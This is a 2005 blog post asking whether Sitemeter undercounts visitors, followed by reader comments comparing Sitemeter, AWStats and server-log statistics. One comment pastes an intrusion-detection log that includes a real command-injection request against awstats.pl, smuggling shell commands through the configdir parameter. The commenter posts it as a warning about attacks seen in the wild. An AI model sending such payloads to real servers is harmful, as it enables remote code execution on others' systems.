May 13, 2005

Blog Query

A quick query. I've seen much blogospheric chit-chat of late that Sitemeter undercounts visitor hits. Is this true? Why? Is there better and/or more accurate software avail? Input appreciated.

Posted by Gregory at May 13, 2005 03:42 AM | TrackBack (16)
Comments

It does indeed appear to be the case that Sitemeter undercounts--or that the count is less when compared to counters like GoStats, which I also use. I have no idea, however, why this is the case, or whether Sitemeter might actually be more accurate.

Posted by: Pejman Yousefzadeh at May 13, 2005 04:07 AM | Permalink to this comment Permalink

As I understand it, Sitemeter depends on the visitors having javascript turned on, or something like that. If they don't, sitemeter misses it.

The most reliable statistic would be the one pulled directly from the server hosting your site. Does your hosting service provide some sort of statistical breakdown? If so, that's what you'll want to see for completely accurate numbers. (while, of course, making sure you're not confusing hits with visits or unique visitors)

I check sitemeter far more often, because it gives me a decent idea of who is coming from where, and our traffic relative to other blogs -- after all, we're all using sitemeter, so presumably it undercounts us all by roughly the same -- but when I do check with our host, we're usually averaging about 50% more unique daily visitors than Sitemeter shows.

Posted by: Jon Henke at May 13, 2005 05:06 AM | Permalink to this comment Permalink

At the risk of being pedantic, you might want to read a post I wrote clarifying the definitions of visits and visitors and hits. http://www.fatmixx.com/index.php/2004/11/08/when-smart-people-are-silly/

The main thing to keep in mind is that recording "visits" is inherently difficult to do... the protocols that make up the web are inherently stateless.

The javascript thing is a red herring... nearly 100% of users have JS enabled. Looking at your server logs involves the same problems as the javascript methods with even less granularity (the only information you have in server logs to identify a "single" user are IP address which can be shared across many computers behind a common firewall, proxy server, or large ISP).

Posted by: just me at May 13, 2005 05:23 AM | Permalink to this comment Permalink

...the apache server in florida that your isp uses to host your site (and 313 others) uses php and frontpage: i would ask them for a script that distinguishes between hits and unique visitors - shouldn't cost more than $2 a month over there basic $10 a month rate...

Posted by: doc at May 13, 2005 02:00 PM | Permalink to this comment Permalink

...the apache server in florida that your isp uses to host your site (and 313 others) uses php and frontpage: i would ask them for a script that distinguishes between hits and unique visitors - shouldn't cost more than $2 a month over their basic $10 a month rate...

Posted by: doc at May 13, 2005 02:00 PM | Permalink to this comment Permalink

sorry about the double post: the server lied about its capabilities the 1st time i posted...

Posted by: doc at May 13, 2005 02:02 PM | Permalink to this comment Permalink

I've noticed that Sitemeter on my site had about 1/2 to 1/3 of the visits as recorded by AWStats (which looks at the server logs). But I had no idea which one was more accurate, or why. I know that I haven't configured awstats to ignore all the spiders, and I read somewhere that server logs sometimes undercount due to the server cache (but this is probably only a factor when you have a lot more hits than I do) so I'd assumed Sitemeter was more accurate.

BTW, AWStats is free, but a bit of a pain to use unless you know what you're doing.

Posted by: fling93 at May 13, 2005 04:51 PM | Permalink to this comment Permalink

a little warning about awstats: your aysadmins will see this daily from their external IDS: "The external hosts listed below were seen trying to exploit a vulnerability within the awstats.pl file on the...hosts listed below." what that means is that your site could suddenly be displaying the ideas of several smart democratic hackers...

Posted by: doc at May 13, 2005 05:32 PM | Permalink to this comment Permalink

I guess what I said probably didn't make much sense. What I meant to say was it was after I read somewhere that server logs undercount that I installed Sitemeter, thinking that it would be more accurate, and then I was surprised to see it list only 1/2 to 1/3 of the visits that AWStats had. So I have no idea if what I read was wrong or if both were undercounting or which one is more accurate.

The only security vulnerability in AWStats that I'm aware of is if you turn on "AllowToUpdateStatsFromBrowser." But this defaults to off (I use crontab anyway -- it's a pain to use if you don't), and the bug was fixed in 6.3.

Posted by: fling93 at May 13, 2005 05:57 PM | Permalink to this comment Permalink

fling93: don't know the worthiness of awstats - don't use it. however, if you will look at an excerpted dragon log from yesterday, you will see what i mean: this is the hack attempt du jour. started seeing it a little over a month ago - perhaps this is the bug they fixed?
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
TRAFFIC LOG:
"/usr/dragon/tools/mklog -e WEB:AWSTATS -l -D -f /usr/dragon/DB/2005May12/dragon.db"

00:56:05 [T] 82.57.51.42 x.x.x.x [WEB:AWSTATS-CODE-EXECUTE] (tcp,dp=80,sp=2611) (shockwave)
01:01:35 [T] 82.57.51.42 x.x.x.x [WEB:AWSTATS-CODE-EXECUTE] (tcp,dp=80,sp=3000) (dirge)
01:33:40 [T] 213.254.7.138 x.x.x.x [WEB:AWSTATS-CODE-EXECUTE] (tcp,dp=80,sp=63070) (bombshell)
03:08:37 [T] 66.45.228.28 x.x.x.x [WEB:AWSTATS-CODE-EXECUT...

SAMPLE SESSION LOG:
"/usr/dragon/tools/mksession -w 120 -W -h -ip1 66.45.228.28 -ip2 x.x.x.x -p1 52326 -p2 80 -R -f /usr/dragon/DB/2005May12/dragon.db"

GET /cgi-bin/awstats/awstats.pl?configdir=|echo;echo;id;%00 HTTP/1.0
Connection: close
User-Agent: DataCha0s/2.0
Host: www.name.com


HTTP/1.1 404 Object Not Found
Server: Microsoft-IIS/5.0
Date: Thu, 12 May 2005 03:08:43 GMT
Content-Length: 12650
Content-Type: text/html




Show Me Some maps or Stuff

Posted by: doc at May 13, 2005 06:24 PM | Permalink to this comment Permalink

Yeah, I really have no idea what that means or whether it's the same vulnerability or not.

Posted by: fling93 at May 13, 2005 07:46 PM | Permalink to this comment Permalink

Sitemeter or nedstats or any of the javascript/image based tools are going to be better than your server logs unless your server logs are issuing unique cookies to all of your users.

AWStats looks like it uses IP addresses to determine unique visitors and that's inherently bogus. It can undercount (e.g. Everyone in my office has the same IP address to the outside world) and overcount (I take my laptop to work, plug in, surf BD, then go home, plug my laptop in and surf BD... two different IP addresses, one visitor).

Let me put this another way... the big commercial traffic monitoring tools work the same way (e.g. HitBox/WebSideStory) as SiteMeter. They are more robust, have better tools and reports, but are built on more or less the same underlying principles.

Posted by: just me at May 13, 2005 10:19 PM | Permalink to this comment Permalink

How about people reading the site via various types of feeds? Do those people get counted as hits somehow?

Posted by: Systolic at May 14, 2005 06:44 AM | Permalink to this comment Permalink

yep - rss is http, also, so it counts as a hit...

Posted by: doc at May 17, 2005 12:12 PM | Permalink to this comment Permalink
Reviews of Belgravia Dispatch
"Awake"
--New York Times
"Must-read list"
--Washington Times
"Pompous Ass"
--an anonymous blogospheric commenter
Recent Entries
Search
English Language Media
Foreign Affairs Commentariat
Non-English Language Press
U.S. Blogs
Columnists
Think Tanks
Law & Finance
Security
Books
The City
Western Europe
France
United Kingdom
Germany
Italy
Netherlands
Spain
Central and Eastern Europe
CIS/FSU
Russia
Armenia
East Asia
China
Japan
South Korea
Middle East
Egypt
Israel
Lebanon
Syria
B.D. In the Press
Archives
Categories
Syndicate this site:
XML RSS RDF

G2E

Powered by